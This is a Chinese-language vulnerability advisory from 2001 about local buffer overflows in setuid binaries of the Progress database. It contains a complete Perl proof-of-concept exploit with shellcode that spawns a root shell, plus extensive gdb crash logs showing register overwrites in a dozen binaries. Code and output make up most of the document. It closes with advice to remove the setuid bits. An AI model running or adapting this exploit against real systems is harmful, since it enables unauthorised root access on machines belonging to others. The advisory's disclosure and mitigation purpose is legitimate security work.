首页 -> 安全研究
安全研究
安全漏洞
Progress 数据库存在多个缓冲区溢出漏洞
发布日期：2001-10-05
更新日期：2001-10-08
受影响系统：
描述：
Progress Database 8.3D
Progress Database 9.1C
- HP HP-UX 11.0
- IBM AIX 4.3.3
- Microsoft Windows 2000
- Microsoft Windows 2000 SP1
- Microsoft Windows 2000 SP2
- Microsoft Windows 2000 SP3
- Microsoft Windows NT 4.0SP5
- Microsoft Windows NT 4.0SP6a
- RedHat Linux 6.2
- RedHat Linux 7.0
- RedHat Linux 7.1
- S.u.S.E. Linux 7.2
- Sun Solaris 2.6
BUGTRAQ ID: 3404
CVE(CAN) ID: CAN-2001-1127
Progress是一款Microsoft Windows和Unix平台下的商业数据库产品。
发现Progress数据库的多个程序存在缓冲区溢出漏洞，这是因为缺乏边界检查的结果。
利用这些漏洞，本地用户可能以root权限执行任意代码。
<*来源：KF （dotslash@snosoft.com）
参考：http://archives.neohapsis.com/archives/bugtraq/2001-10/0041.html
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
#!/usr/bin/perl
# Progress 8 and 9 test exploit code
# Proof of concept by krfinisterre@checkfree.com
$len = 481; # Sufficient to overwrite the return value.
$nop = "\x90";
$ret = 0xbfffe208; # Return Value / ESP / Stack Pointer.
$shellcode=
"\x89\xe6".
"\x83\xc6\x30".
"\xb8\x2e\x62\x69\x6e".
"\x40".
"\x89\x06".
"\xb8\x2e\x73\x68\x21".
"\x40".
"\x89\x46\x04".
"\x29\xc0".
"\x88\x46\x07".
"\x89\x76\x08".
"\x89\x46\x0c".
"\xb0\x0b".
"\x87\xf3".
"\x8d\x4b\x08".
"\x8d\x53\x0c".
"\xcd\x80";
if (@ARGV < 1) {
print("Usage: $0 <offset>\n");
exit(1);
}
( $offset) = @ARGV;
for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}
$buffer .= $shellcode;
$new_ret = pack('l', ($ret + $offset));
$address = sprintf('%lx', ($ret + $offset));
for ($i += length($shellcode); $i < $len; $i += 4) {
$buffer .= $new_ret;
}
$exploit_string = "a $buffer";
system("echo -e \"$exploit_string\"");
----------------------------------------------
# gdb /usr/dlc/bin/_mpros core
Core was generated by `/usr/dlc/bin/_mprosrva
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libm.so.6...done.
Loaded symbols for /lib/libm.so.6
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x42424242 in ?? ()
(gdb) q
[root@localhost /root]# /usr/dlc/bin/_mprosrva `perl -e 'print "A" x 5746'
`BBBB
BBBB == 0x42424242 or my eip
buffer is 1143 chars to begin overwrite eax 5746 to overwrite eip
(gdb) info registers
eax 0x80b3c80 134954112
ecx 0xbffff4f4 -1073744652
edx 0x480b5e31 1208704561
ebx 0x1 1
esp 0xbfffdbc0 0xbfffdbc0
ebp 0xbfffdbe0 0xbfffdbe0
esi 0x2 2
edi 0xbfffdcf4 -1073750796
eip 0x42424242 0x42424242
eflags 0x10206 66054
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
fctrl 0x0 0
fstat 0x0 0
ftag 0x0 0
fiseg 0x0 0
fioff 0x0 0
foseg 0x0 0
fooff 0x0 0
fop 0x0 0
below are Several more examples
# uname -a
SCO_SV scosysv 3.2 5.0.5 i386
# ls -al /usr/dlc/bin/proserve
-rwxr-xr-x 1 root sys 2708 Jan 9 15:29 /usr/dlc/bin/proserve
# /usr/dlc/bin/proserve `perl -e 'print "A" x 3000'`
PROGRESS Version 9.1B as of Sun Dec 3 20:27:14 EST 2000
Memory fault - core dumped
#
------------------
/usr/dlc/bin/_mprshut `perl -e 'print "A" x 2000'`
Memory fault - core dumped
-----------------------------------
/usr/dlc/bin/_mprosrv `perl -e 'print "A" x 2000'`
Memory fault - core dumped
-------------------
/usr/dlc/bin/_probuild a `perl -e 'print "A" x 2000'`
Memory fault - core dumped
--------------------
/usr/dlc/bin/prodb a `perl -e 'print "A" x 2000'`
Memory fault - core dumped
below this line is all version 8.3b
-rwsrwxr-x 1 root root 508151 Nov 10 1999
/usr/dlc/bin/_dbutil*
-rwsrwxr-x 1 root root 557075 Nov 10 1999
/usr/dlc/bin/_mprosrv*
-rwsrwxr-x 1 root root 561294 Nov 10 1999
/usr/dlc/bin/_mprosrva*
-rwsrwxr-x 1 root root 604635 Nov 10 1999
/usr/dlc/bin/_mprshut*
-rwsrwxr-x 1 root root 2574331 Nov 10 1999
/usr/dlc/bin/_probuild*
-rwsrwxr-x 1 root root 2986163 Nov 10 1999
/usr/dlc/bin/_progres*
-rwsrwxr-x 1 root root 2924760 Nov 10 1999
/usr/dlc/bin/_progresa*
-rwsrwxr-x 1 root root 971209 Nov 10 1999
/usr/dlc/bin/_proutil*
-rwsrwxr-x 1 root root 686582 Nov 10 1999
/usr/dlc/bin/_rfutil*
-rwsrwxr-x 1 root root 122260 Nov 10 1999 /usr/dlc/bin/prodb*
-rwsrwxr-x 1 root root 134337 Nov 10 1999
/usr/dlc/bin/prolib*
[root@localhost /root]# /usr/dlc/bin/prolib library-name `perl -e 'print
"A" x 2000'`
Invalid prolib command
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
[root@localhost /root]# gdb /usr/dlc/bin/prolib core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux"...
Core was generated by `/usr/dlc/bin/prolib library-name
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libm.so.6...done.
Loaded symbols for /lib/libm.so.6
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/libnss_files.so.2...done.
Loaded symbols for /lib/libnss_files.so.2
#0 0x41414141 in ?? ()
---------------------------------------------------------------
[root@localhost /root]# /usr/dlc/bin/_probuild sports `perl -e 'print "A" x
1200'`
Segmentation fault (core dumped)
[root@localhost /root]# gdb /usr/dlc/bin/_probuild core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux"...
Core was generated by `/usr/dlc/bin/_probuild sports
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x400905c7 in ?? ()
(gdb) info register eax
eax 0x41414141 1094795585
(gdb)
---------------------------------------------------------------------
[root@localhost /root]# /usr/dlc/bin/_progres sports `perl -e 'print "A" x
1200'`
Segmentation fault (core dumped)
[root@localhost /root]# gdb /usr/dlc/bin/_progres core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux"...
Core was generated by `/usr/dlc/bin/_progres sports
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x400905c7 in ?? ()
(gdb) info register eax
eax 0x41414141 1094795585
(gdb)
------------------------------------------------------------------
[root@localhost /root]# /usr/dlc/bin/_progresa sports `perl -e 'print "A" x
4200'`
Segmentation fault (core dumped)
[root@localhost /root]# gdb /usr/dlc/bin/_progresa core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux"...
Core was generated by `/usr/dlc/bin/_progresa sports
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x40090590 in ?? ()
(gdb) info register eax
eax 0x41414141 1094795585
--------------------------------------------------------------------
[root@localhost /root]# /usr/dlc/bin/_dbutil prorest sports `perl -e 'print
"A"
x 4200'`
** Cannot find or open file
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)#w:)
#w:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
SYSTEM ERROR: Memory violation. (49)
** Save file named core for analysis by Progress Software Corporation.
(439)
Quit (core dumped)
[root@localhost /root]# gdb /usr/dlc/bin/_dbutil core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux"...
Core was generated by `/usr/dlc/bin/_dbutil prorest sports
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 3, Quit.
Reading symbols from /lib/libm.so.6...done.
Loaded symbols for /lib/libm.so.6
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/libnss_files.so.2...done.
Loaded symbols for /lib/libnss_files.so.2
#0 0x400590d1 in kill () from /lib/libc.so.6
(gdb) info register edi
edi 0x41414141 1094795585
-----------------------------------------------------------
[root@localhost /root]# /usr/dlc/bin/_proutil sports `perl -e 'print "A" x
4200'`
Segmentation fault (core dumped)
[root@localhost /root]# gdb /usr/dlc/bin/_proutil core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux"...
Core was generated by `/usr/dlc/bin/_proutil sports
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x40090590 in ?? ()
(gdb) info register eax
eax 0x41414141 1094795585
-------------------------------------------------------------
[root@localhost /root]# /usr/dlc/bin/_rfutil sports `perl -e 'print "A" x
4200'`
Segmentation fault (core dumped)
[root@localhost /root]# gdb /usr/dlc/bin/_rfutil core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux"...
Core was generated by `/usr/dlc/bin/_rfutil sports
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x400905ad in ?? ()
(gdb) info register eax
eax 0x41414141 1094795585
--------------------------------------------------------------
[root@localhost /root]# /usr/dlc/bin/prodb sports `perl -e 'print "A" x
4200'`
The database name is too long.
Segmentation fault (core dumped)
[root@localhost /root]# gdb /usr/dlc/bin/prodb core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux"...
Core was generated by `AAAAAAAAAAAAAAAAAAAAAAAAAAAA/.db.bi.tl.lg.lk
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) info register eip
eip 0x41414141 0x41414141
-----------------------------------------------------------------
[root@localhost /root]# /usr/dlc/bin/_mprosrv sports `perl -e 'print "A" x
4200'`
Segmentation fault (core dumped)
[root@localhost /root]# gdb /usr/dlc/bin/_mprosrv core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux"...
Core was generated by `/usr/dlc/bin/_mprosrv sports
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x40090590 in ?? ()
(gdb) info register eax
eax 0x41414141 1094795585
------------------------------------------------------------------
[root@localhost /root]# /usr/dlc/bin/_mprosrva sports `perl -e 'print "A"
x 4200'`
Segmentation fault (core dumped)
[root@localhost /root]# gdb /usr/dlc/bin/_mprosrva core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux"...
Core was generated by `/usr/dlc/bin/_mprosrva sports
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x40090590 in ?? ()
(gdb) info register eax
eax 0x41414141 1094795585
---------------------------------------------------------------
[root@localhost /root]# /usr/dlc/bin/_mprshut sports `perl -e 'print "A" x
4200'`
Segmentation fault (core dumped)
[root@localhost /root]# gdb /usr/dlc/bin/_mprshut core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux"...
Core was generated by `/usr/dlc/bin/_mprshut sports
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x40090590 in ?? ()
(gdb) info register eax
eax 0x41414141 1094795585
(gdb)
------------------------------------------------------------------------
建议：
解决方法：
我们建议在安装补丁程序之前，采取如下临时解决方法：
去掉所有受影响程序的setuid/setgid位
厂商补丁：
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本：
http://www.progress.com/progress/index.htm
浏览次数：4622
严重程度：0（网友投票）
绿盟科技给您安全的保障